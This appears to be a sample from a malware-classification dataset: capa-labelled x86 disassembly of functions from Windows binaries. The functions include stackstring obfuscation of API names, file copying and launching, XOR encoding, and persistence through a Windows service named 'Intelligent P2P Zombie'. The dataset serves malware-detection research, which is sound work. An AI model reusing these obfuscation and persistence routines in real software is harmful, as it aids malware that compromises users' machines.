joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402e60
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x28
mov ecx, dword [0x406ed0]
push ebx
lea eax, [esp + 4]
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x12], bl
mov byte [esp + 0x13], 0x61
mov byte [esp + 0x14], 0x74
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], 0x46
mov byte [esp + 0x17], 0x69
mov byte [esp + 0x18], 0x6c
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], 0x41
mov byte [esp + 0x1b], 0
call esi
mov dl, byte [esp + 0x34]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push 0x406c50
mov dword [0x406ee0], eax
mov byte [0x406c50], dl
call eax
cmp eax, 0xffffffff
jne 0x402fa7
mov ecx, dword [0x406ec8]
mov al, 0x73
mov byte [esp + 0x2c], al
mov byte [esp + 0x2e], al
lea eax, [esp + 0x14]
mov byte [esp + 0x14], 0x4d
push eax
push ecx
mov byte [esp + 0x1d], 0x61
mov byte [esp + 0x1e], 0x6b
mov byte [esp + 0x1f], bl
mov byte [esp + 0x20], 0x53
mov byte [esp + 0x21], 0x75
mov byte [esp + 0x22], 0x72
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 0x44
mov byte [esp + 0x25], 0x69
mov byte [esp + 0x26], 0x72
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x63
mov byte [esp + 0x29], 0x74
mov byte [esp + 0x2a], 0x6f
mov byte [esp + 0x2b], 0x72
mov byte [esp + 0x2c], 0x79
mov byte [esp + 0x2d], 0x50
mov byte [esp + 0x2e], 0x61
mov byte [esp + 0x2f], 0x74
mov byte [esp + 0x30], 0x68
mov byte [esp + 0x31], 0x45
mov byte [esp + 0x32], 0x78
mov byte [esp + 0x33], 0x69
mov byte [esp + 0x35], 0x74
mov byte [esp + 0x37], 0
call esi
push 0x406c50
call eax
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push 0x406c50
call dword [0x406ee0]
cmp eax, 0xffffffff
jne 0x402fa7
pop esi
xor eax, eax
pop ebx
add esp, 0x28
ret
push eax
call dword [0x406ec4]
pop esi
mov eax, 1
pop ebx
add esp, 0x28
ret
Function at 0x402fc0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x1c
mov cl, 0x72
mov al, 0x5c
mov byte [esp + 4], cl
mov byte [esp + 7], cl
mov cl, 0x70
push ebx
push edi
mov byte [esp + 0xa], al
mov byte [esp + 0x18], al
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], cl
mov byte [esp + 0x21], al
mov ecx, 0x41
xor eax, eax
mov edi, 0x406c50
mov bl, 0x50
rep stosd dword es:[edi], eax
mov ecx, dword [0x406c4c]
lea eax, [esp + 8]
mov byte [esp + 0xb], bl
mov byte [esp + 0x1c], bl
mov dl, 0x61
xor bl, bl
push eax
push 0x406c50
mov byte [esp + 0x10], 0x43
mov byte [esp + 0x11], 0x3a
mov byte [esp + 0x15], 0x6f
mov byte [esp + 0x16], 0x67
mov byte [esp + 0x18], dl
mov byte [esp + 0x19], 0x6d
mov byte [esp + 0x1a], 0x20
mov byte [esp + 0x1b], 0x46
mov byte [esp + 0x1c], 0x69
mov byte [esp + 0x1d], 0x6c
mov byte [esp + 0x1e], 0x65
mov byte [esp + 0x1f], 0x73
mov byte [esp + 0x21], 0x41
mov byte [esp + 0x25], dl
mov byte [esp + 0x26], 0x74
mov byte [esp + 0x27], 0x63
mov byte [esp + 0x28], 0x68
mov byte [esp + 0x2a], bl
call fcn.00401960
mov ecx, dword [esp + 0x28]
push ecx
mov ecx, dword [0x406c4c]
push 0x406c50
call fcn.00401960
mov dl, bl
add dl, 0x43
push edx
call fcn.00402e60
add esp, 4
test eax, eax
jne 0x4030a3
inc bl
cmp bl, 4
jl 0x403084
pop edi
pop ebx
add esp, 0x1c
ret
pop edi
mov eax, 1
pop ebx
add esp, 0x1c
ret
Function at 0x403650
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x11c
push ebx
push esi
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x25]
mov byte [esp + 0x24], bl
rep stosd dword es:[edi], eax
mov ecx, dword [0x406c4c]
push 0x406468
stosw word es:[edi], ax
mov byte [esp + 0x18], 0x44
mov byte [esp + 0x19], 0x6c
mov byte [esp + 0x1a], 0x6c
mov byte [esp + 0x1b], 0x46
mov byte [esp + 0x1c], 0x75
mov byte [esp + 0x1d], 0x55
mov byte [esp + 0x1e], 0x70
mov byte [esp + 0x1f], 0x67
mov byte [esp + 0x20], 0x72
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x64
mov byte [esp + 0x23], 0x74
mov byte [esp + 0x24], bl
stosb byte es:[edi], al
call fcn.004019a0
cmp eax, ebx
jle 0x4036f1
mov cl, 0x2f
cmp byte [eax + 0x406468], cl
je 0x4036d4
dec eax
cmp eax, ebx
jg 0x4036c5
jmp 0x4036f1
inc eax
cmp eax, ebx
jle 0x4036f1
mov ecx, eax
lea esi, [eax + 0x406468]
lea edi, [esp + 0x24]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x24]
push ecx
mov ecx, dword [0x406c4c]
call fcn.004019a0
cmp eax, ebx
jle 0x403744
mov cl, 0x2e
cmp byte [esp + eax + 0x24], cl
je 0x403714
dec eax
cmp eax, ebx
jg 0x403707
jmp 0x403744
mov byte [esp + eax + 0x24], bl
lea edx, [esp + 0xc]
lea eax, [esp + 0x24]
mov byte [esp + 0xc], cl
mov ecx, dword [0x406c4c]
push edx
push eax
mov byte [esp + 0x15], 0x64
mov byte [esp + 0x16], 0x6c
mov byte [esp + 0x17], 0x6c
mov byte [esp + 0x18], bl
call fcn.00401960
mov esi, dword [esp + 0x12c]
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [esp + 0x14]
push esi
lea edx, [esp + 0x28]
push ecx
push edx
call fcn.00403130
add esp, 0xc
push 0x7d0
call edi
jmp 0x403751
Function at 0x403b30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov ecx, dword [0x406c4c]
sub esp, 0x28
push esi
mov esi, dword [esp + 0x30]
push esi
call fcn.004019a0
mov ecx, dword [0x406c4c]
push eax
push 0x406d54
push esi
call fcn.00401920
test eax, eax
je 0x403c4a
mov cl, 0x72
mov al, 0x74
mov byte [esp + 0x16], cl
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1f], cl
mov cl, 0x73
mov byte [esp + 0x1d], al
mov byte [esp + 0x23], al
mov byte [esp + 0x29], al
push ebx
mov byte [esp + 0x2c], cl
mov byte [esp + 0x2e], cl
mov ecx, dword [0x406ec8]
lea eax, [esp + 0x14]
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dl, 0x61
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x20], 0x4d
mov byte [esp + 0x21], dl
mov byte [esp + 0x22], 0x6b
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 0x53
mov byte [esp + 0x25], 0x75
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x44
mov byte [esp + 0x29], 0x69
mov byte [esp + 0x2b], bl
mov byte [esp + 0x2c], 0x63
mov byte [esp + 0x2e], 0x6f
mov byte [esp + 0x30], 0x79
mov byte [esp + 0x31], 0x50
mov byte [esp + 0x32], dl
mov byte [esp + 0x34], 0x68
mov byte [esp + 0x35], 0x45
mov byte [esp + 0x36], 0x78
mov byte [esp + 0x37], 0x69
mov byte [esp + 0x3b], 0
call edi
push esi
call eax
mov eax, dword [0x406ed0]
lea edx, [esp + 0xc]
push edx
push eax
mov byte [esp + 0x14], 0x43
mov byte [esp + 0x15], 0x6f
mov byte [esp + 0x16], 0x70
mov byte [esp + 0x17], 0x79
mov byte [esp + 0x18], 0x46
mov byte [esp + 0x19], 0x69
mov byte [esp + 0x1a], 0x6c
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0x41
mov byte [esp + 0x1d], 0
call edi
push 0
push esi
push 0x406d54
call eax
pop edi
pop ebx
pop esi
add esp, 0x28
ret

Function at 0x403c70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x18
mov ecx, dword [0x406edc]
mov al, 0x6c
mov byte [esp + 0xb], al
mov byte [esp + 0xc], al
lea eax, [esp + 8]
push ebx
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x14], 0x53
mov byte [esp + 0x15], 0x68
mov byte [esp + 0x16], bl
mov byte [esp + 0x19], 0x45
mov byte [esp + 0x1a], 0x78
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], 0x63
mov byte [esp + 0x1d], 0x75
mov byte [esp + 0x1e], 0x74
mov byte [esp + 0x1f], bl
mov byte [esp + 0x20], 0x41
mov byte [esp + 0x21], 0
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov edx, dword [esp + 0x20]
push 5
push 0
push 0
lea ecx, [esp + 0x10]
push edx
push ecx
push 0
mov byte [esp + 0x1c], 0x6f
mov byte [esp + 0x1d], 0x70
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], 0x6e
mov byte [esp + 0x20], 0
call eax
pop ebx
add esp, 0x18
ret
Function at 0x403e70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x2c
push 0x1f4
mov dword [esp + 4], 0x4066cc
mov dword [esp + 8], 0x403c60
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov al, 0x72
mov cl, 0x74
mov dl, 0x53
mov byte [esp + 0x13], al
mov byte [esp + 0x17], al
mov byte [esp + 0x1e], al
mov byte [esp + 0x29], al
mov byte [esp + 0x11], cl
mov byte [esp + 0x14], cl
mov byte [esp + 0x1d], cl
mov byte [esp + 0x25], cl
mov ecx, dword [0x406ed8]
lea eax, [esp + 0x10]
mov byte [esp + 0x10], dl
mov byte [esp + 0x15], dl
mov dl, 0x65
push eax
push ecx
mov byte [esp + 0x1a], 0x61
mov byte [esp + 0x1e], dl
mov byte [esp + 0x20], 0x76
mov byte [esp + 0x21], 0x69
mov byte [esp + 0x22], 0x63
mov byte [esp + 0x23], dl
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x27], 0x6c
mov byte [esp + 0x28], 0x44
mov byte [esp + 0x29], 0x69
mov byte [esp + 0x2a], 0x73
mov byte [esp + 0x2b], 0x70
mov byte [esp + 0x2c], 0x61
mov byte [esp + 0x2e], 0x63
mov byte [esp + 0x2f], 0x68
mov byte [esp + 0x30], dl
mov byte [esp + 0x32], 0x41
mov byte [esp + 0x33], 0
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
lea edx, [esp]
push edx
call eax
add esp, 0x2c
ret
Function at 0x401000
Capabilities:
Encode data using xor

Disassembly:
push ebx
pcmpeqw mm7, mm7
push ecx
pxor mm6, mm6
push esi
psllw mm7, 0xf
push edi
mov esi, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x1c]
mov ebx, dword [esp + 0x20]
sub eax, 4
jl 0x401083
jmp 0x401030
movq mm0, qword [esi]
pxor mm0, mm7
movq mm3, mm0
movq mm1, qword [ebx + esi]
punpcklwd mm0, mm6
pxor mm1, mm7
movq mm2, qword [esi + ebx*2]
movq mm4, mm1
pxor mm2, mm7
add edi, 0x10
prefetcht0 byte [esi + ebx*2 + 0x40]
punpcklwd mm1, mm6
movq mm5, mm2
punpcklwd mm2, mm6
paddd mm0, mm1
punpckhwd mm3, mm6
paddd mm0, mm2
punpckhwd mm4, mm6
paddd mm3, mm4
punpckhwd mm5, mm6
movq qword [edi - 0x10], mm0
paddd mm3, mm5
add esi, 8
movq qword [edi - 8], mm3
sub eax, 4
jge 0x401030
add eax, 4
jle 0x4010b6
push edx
movzx ecx, word [esi]
xor ecx, 0x8000
movzx edx, word [ebx + esi]
xor edx, 0x8000
add ecx, edx
movzx edx, word [esi + ebx*2]
xor edx, 0x8000
add ecx, edx
add esi, 2
mov dword [edi], ecx
add edi, 4
dec eax
jg 0x401089
pop edx
pop edi
pop esi
pop ecx
pop ebx
ret

Function at 0x5749d4
Capabilities:
Encode data using xor

Disassembly:
sbb al, 0xae
nop
enter 0x54bf, 0xffffffffffffffa9
cmp al, 0xd5
xchg byte [edx + edi - 0x56], dl
daa
inc ebx
sbb al, 0x30
mov cl, 0xd0
jp 0x5749c5
sar dword [ebx], cl
xor eax, 0x7161f2dd
xor ch, bh
sub ecx, dword cs:[esi - 0x3540f5d8]
mov dword [0x98a541f0], eax
or eax, 0x68d4dc82
inc ebp
fcmovnb st(0), st(5)
pop edx
mov esi, gs
aaa
invalid

Function at 0x6294a5
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x632378
cmp edx, dword [eax]
je 0x6294c7
add eax, 8
inc ecx
cmp eax, 0x632408
jl 0x6294b8
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x632378]
jne 0x6295f5
mov eax, dword [0x63bd04]
cmp eax, 1
je 0x6295cf
test eax, eax
jne 0x6294f8
cmp dword [0x6322a4], 1
je 0x6295cf
cmp edx, 0xfc
je 0x6295f5
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x62952f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00629e90
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.0062a2c0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x629572
lea eax, [ebp - 0x1a4]
push eax
call fcn.0062a2c0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x62ec1c
push edi
call fcn.0062be60
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00629e90
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00629ea0
lea eax, [ebp - 0xa0]
push 0x62ebfc
push eax
call fcn.00629ea0
push dword [esi + 0x63237c]
lea eax, [ebp - 0xa0]
push eax
call fcn.00629ea0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0062bdd4
add esp, 0x2c
pop edi
jmp 0x6295f5
lea eax, [ebp + 8]
lea esi, [esi + 0x63237c]
push 0
push eax
push dword [esi]
call fcn.0062a2c0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x418010
Capabilities:
Accept command line arguments
Query or enumerate registry value

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, 0x190
push edi
mov ebx, esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edi, eax
mov eax, dword [0x635b9c]
push eax
call dword [sym.imp.ole32.dll_RevokeDragDrop]
mov ecx, dword [0x632038]
mov ebp, dword [0x63203c]
mov dword [esp + 0x2c], 0
lea eax, [esp + 0x24]
lea edx, [ecx + ecx]
push eax
or edx, ebp
push edi
mov dword [esp + 0x30], edx
fild qword [esp + 0x30]
fadd qword [0x632050]
fstp qword [0x632050]
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
lea ecx, [esp + 0x18]
mov edi, eax
push ecx
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionExplorer
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x41811f
mov ebp, 4
push eax
mov dword [esp + 0x18], ebp
mov dword [esp + 0x14], ebp
call sub.comdlg32.dll_FindTextA
test edi, edi
je 0x4180ba
mov edx, dword [0x635b9c]
push 0x63588c
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x18]
push ecx
push edx
push 0
push str.Browse_For_Folder_Width
push eax
call edi
test eax, eax
jne 0x4180e7
mov ebx, dword [esp + 0x1c]
xor esi, esi
lea ecx, [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
mov ecx, dword [esp + 0x1c]
lea eax, [esp + 0x18]
push edx
push eax
push 0
push str.Browse_For_Folder_Height
push ecx
mov dword [esp + 0x2c], ebp
mov dword [esp + 0x28], ebp
call edi
test eax, eax
jne 0x418114
or esi, dword [esp + 0x20]
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop edi
pop esi
mov edx, ebx
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x4011c3
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov edi, 0x400
push edi
call fcn.004646c7
mov ebx, eax
push edi
mov dword [esp + 0x18], ebx
call fcn.004646c7
xor esi, esi
cmp ebx, esi
pop ecx
pop ecx
mov ebp, eax
je 0x4012a6
cmp ebp, esi
je 0x4012a6
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
je 0x4012a6
push ebx
push str.__s____service
push ebp
call fcn.004645c8
add esp, 0xc
push 0x12
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
cmp ebx, esi
jne 0x401232
push str.Cant_open_SCM
call fcn.00464450
pop ecx
jmp 0x4012a6
push str.Creating_service...
call fcn.00464450
pop ecx
push esi
push esi
push esi
push esi
push esi
push ebp
push esi
push 2
push 0x10
push 0x10
push str.Intelligent_P2P_Zombie
push 0x4722fc
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov edi, eax
cmp edi, esi
jne 0x40126e
push str.Cant_create_service
call fcn.00464450
pop ecx
jmp 0x40129f
push str.Starting_service...
call fcn.00464450
pop ecx
push esi
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x40128d
push str.Cant_start_service
jmp 0x401266
push str.Service_started
call fcn.00464450
pop ecx
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [esp + 0x10]
call fcn.00464557
push ebp
call fcn.00464557
pop ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x4012bd
Capabilities:
Delete service
Stop service

Disassembly:
sub esp, 0x1c
push esi
push edi
mov esi, 0x10020
push esi
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x4012e8
push str.Cant_open_SCM
call fcn.00464450
pop ecx
jmp 0x40136f
push ebx
push esi
push 0x4722fc
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
jne 0x40130f
push str.Cant_open_service
call fcn.00464450
pop ecx
jmp 0x40136b
push str.Stopping_service...
call fcn.00464450
pop ecx
lea eax, [esp + 0xc]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x401340
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x426
je 0x401340
push str.Cant_stop_service
jmp 0x401362
push str.Deleting_service...
call fcn.00464450
pop ecx
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
test eax, eax
jne 0x40135d
push str.Cant_delete_service
jmp 0x401362
push str.Service_deleted
call fcn.00464450
pop ecx
push esi
call ebx
push edi
call ebx
pop ebx
pop edi
pop esi
add esp, 0x1c
ret
Function at 0x401375
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
xor esi, esi
push str._nIntelligent_P2P_Zombie
mov dword [ebp - 0x10], esi
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 4], esi
call fcn.00464450
mov dword [esp], str.Made_in_USSR_n
call fcn.00464450
pop ecx
call fcn.0040353d
call fcn.00402fa1
test eax, eax
je 0x401519
call fcn.00403e19
test eax, eax
jne 0x401514
push ebx
push edi
xor edi, edi
inc edi
cmp dword [ebp + 8], edi
mov ebx, edi
jle 0x4014d8
mov eax, dword [ebp + 0xc]
lea esi, [eax + ebx*4]
push str.__service
push dword [esi]
call fcn.0046752d
test eax, eax
pop ecx
pop ecx
je 0x401485
push 0x4724c0
push dword [esi]
call fcn.0046752d
test eax, eax
pop ecx
pop ecx
je 0x401485
push str.__install
push dword [esi]
call fcn.0046752d
test eax, eax
pop ecx
pop ecx
je 0x401480
push 0x4724b0
push dword [esi]
call fcn.0046752d
test eax, eax
pop ecx
pop ecx
je 0x401480
push str.__remove
push dword [esi]
call fcn.0046752d
test eax, eax
pop ecx
pop ecx
je 0x40147b
push 0x4724a0
push dword [esi]
call fcn.0046752d
test eax, eax
pop ecx
pop ecx
je 0x40147b
push str.__log
push dword [esi]
call fcn.0046752d
test eax, eax
pop ecx
pop ecx
je 0x401473
push 0x472494
push dword [esi]
call fcn.0046752d
test eax, eax
pop ecx
pop ecx
je 0x401473
mov dword [ebp - 4], edi
jmp 0x401488
mov dword [0x4a30e0], edi
jmp 0x401488
mov dword [ebp - 0xc], edi
jmp 0x401488
mov dword [ebp - 8], edi
jmp 0x401488
mov dword [ebp - 0x10], edi
inc ebx
cmp ebx, dword [ebp + 8]
jl 0x4013d0
xor eax, eax
cmp dword [ebp - 4], eax
je 0x4014be
push str._i____install___install_service
call fcn.00464450
mov dword [esp], str._r____remove___remove_service
call fcn.00464450
mov dword [esp], str._l____log___enable_logging
call fcn.00464450
pop ecx
jmp 0x40150d
cmp dword [ebp - 8], eax
je 0x4014ca
call fcn.004011c3
jmp 0x40150d
cmp dword [ebp - 0xc], eax
je 0x4014d6
call fcn.004012bd
jmp 0x40150d
xor esi, esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov esi, eax
test esi, esi
je 0x40150d
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
je 0x401506
cmp dword [ebp - 0x10], 0
je 0x401501
call fcn.004010df
jmp 0x401506
call fcn.00401129
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
call fcn.00403e25
pop edi
pop ebx
call fcn.00402fb6
xor eax, eax
pop esi
leave
ret
Function at 0x40154a
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, dword [ebp + 8]
cmp dword [esi + 0x3590], 0
je 0x401605
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
push 0xffffffffffffffff
push dword [esi + 0x358c]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
jne 0x401605
push ebx
push 0x400
call fcn.004646c7
mov ebx, eax
test ebx, ebx
pop ecx
je 0x4015f8
push edi
push str.log.txt
push dword [esi + 0x4c]
push 0x47252c
push ebx
call fcn.004645c8
push 0x472528
push ebx
call fcn.00464830
mov edi, eax
add esp, 0x18
test edi, edi
je 0x4015f0
push dword [ebp + 0xc]
movzx eax, word [ebp - 4]
push eax
movzx eax, word [ebp - 6]
push eax
movzx eax, word [ebp - 8]
push eax
movzx eax, word [ebp - 0x10]
push eax
movzx eax, word [ebp - 0xe]
push eax
movzx eax, word [ebp - 0xa]
push eax
push str.__02d._02d._d__02d:_02d:_02d___s
push edi
call fcn.00464776
push edi
call fcn.00464725
add esp, 0x28
push ebx
call fcn.00464557
pop ecx
pop edi
push dword [esi + 0x358c]
call dword [sym.imp.KERNEL32.DLL_ReleaseMutex]
pop ebx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_OutputDebugStringA]
pop esi
leave
ret

Function at 0x402523
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 0x400
call fcn.004646c7
mov ebx, eax
xor edi, edi
cmp ebx, edi
pop ecx
mov dword [ebp - 4], ebx
je 0x4025fc
mov esi, dword [ebp + 8]
push str.ipz_db.bin
push dword [esi + 0x4c]
push 0x47252c
push ebx
call fcn.004645c8
add esp, 0x10
push edi
push 0x80
push 4
push edi
push 1
push 0xc0000000
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, 0xffffffff
mov dword [esi + 0x50], eax
je 0x4025f3
push edi
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push edi
mov ebx, 0x11a8
push ebx
push edi
push 4
push edi
push dword [esi + 0x50]
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
cmp eax, edi
mov dword [esi + 0x54], eax
je 0x4025ea
push edi
push edi
push edi
push 6
push eax
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
cmp eax, edi
mov dword [esi + 0x58], eax
je 0x4025e1
cmp dword [ebp - 8], ebx
jb 0x4025c8
cmp dword [eax + 4], ebx
jne 0x4025c8
cmp dword [eax], 0x4b435546
je 0x4025d3
push esi
call fcn.004024dd
test eax, eax
pop ecx
je 0x4025e1
push dword [ebp - 4]
call fcn.00464557
xor eax, eax
pop ecx
inc eax
jmp 0x4025fe
push dword [esi + 0x54]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [esi + 0x50]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp - 4]
call fcn.00464557
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402672
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
xor ebx, ebx
push 0x3594
inc ebx
push ebx
call fcn.00464c2d
mov esi, eax
xor edi, edi
cmp esi, edi
pop ecx
pop ecx
je 0x402744
push esi
call fcn.00402625
test eax, eax
pop ecx
je 0x402744
push esi
call fcn.00402523
test eax, eax
pop ecx
je 0x40273b
xor ecx, ecx
mov eax, dword [esi + 0x58]
add eax, ecx
cmp dword [eax + 0x20], edi
je 0x4026be
mov dword [eax + 0x28], ebx
add ecx, 0x20
cmp ecx, 0xc80
jl 0x4026b1
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateMutexA]
push edi
push edi
push edi
call ebx
push edi
push edi
push edi
mov dword [esi + 0x5c], eax
call ebx
push str.Peer_started_n_n
push esi
mov dword [esi + 0x358c], eax
call fcn.0040154a
mov eax, dword [esi + 0x58]
push dword [eax]
mov ax, word [eax + 0x14]
push eax
call fcn.00402e05
add esp, 0x10
cmp eax, edi
mov dword [esi + 0x48], eax
je 0x402734
push ebp
push 0x10
lea ebx, [esi + 4]
pop ebp
push edi
push edi
push esi
push 0x402010
push edi
push edi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [ebx], eax
add ebx, 4
dec ebp
jne 0x40270d
mov eax, dword [esp + 0x14]
mov dword [esi + 0x3590], eax
mov eax, esi
pop ebp
jmp 0x402746
push esi
call fcn.00402603
pop ecx
push dword [esi + 0x4c]
call fcn.00464557
pop ecx
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x402770
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x402816
push ebx
push edi
push 0x9c4
push 1
lea edi, [esi + 4]
push edi
push 0x10
pop ebx
push ebx
mov dword [esi], 1
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
mov dword [ebp + 8], ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0
push dword [edi]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
je 0x4027bd
push 1
push dword [edi]
call dword [sym.imp.KERNEL32.DLL_TerminateThread]
push dword [edi]
call ebx
add edi, 4
dec dword [ebp + 8]
jne 0x4027a5
push dword [esi + 0x48]
call fcn.00402ed5
mov dword [esp], str.Peer_stopped_n_n
push esi
call fcn.0040154a
pop ecx
pop ecx
push dword [esi + 0x5c]
call ebx
push dword [esi + 0x358c]
call ebx
push esi
call fcn.00402603
push dword [esi + 0x64]
call fcn.0040274a
push dword [esi + 0x60]
call fcn.0040274a
push dword [esi + 0x4c]
call fcn.00464557
push esi
call fcn.00464557
add esp, 0x14
pop edi
pop ebx
pop esi
pop ebp
ret

Function at 0x402819
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 0xc]
cmp edx, 4
mov eax, dword [esp + 8]
push esi
mov esi, dword [esp + 8]
mov ecx, dword [esi]
jb 0x40283e
shr edx, 2
xor dword [eax], ecx
add eax, 4
add ecx, 0x1ee7d34d
dec edx
jne 0x402830
mov dword [esi], ecx
pop esi
ret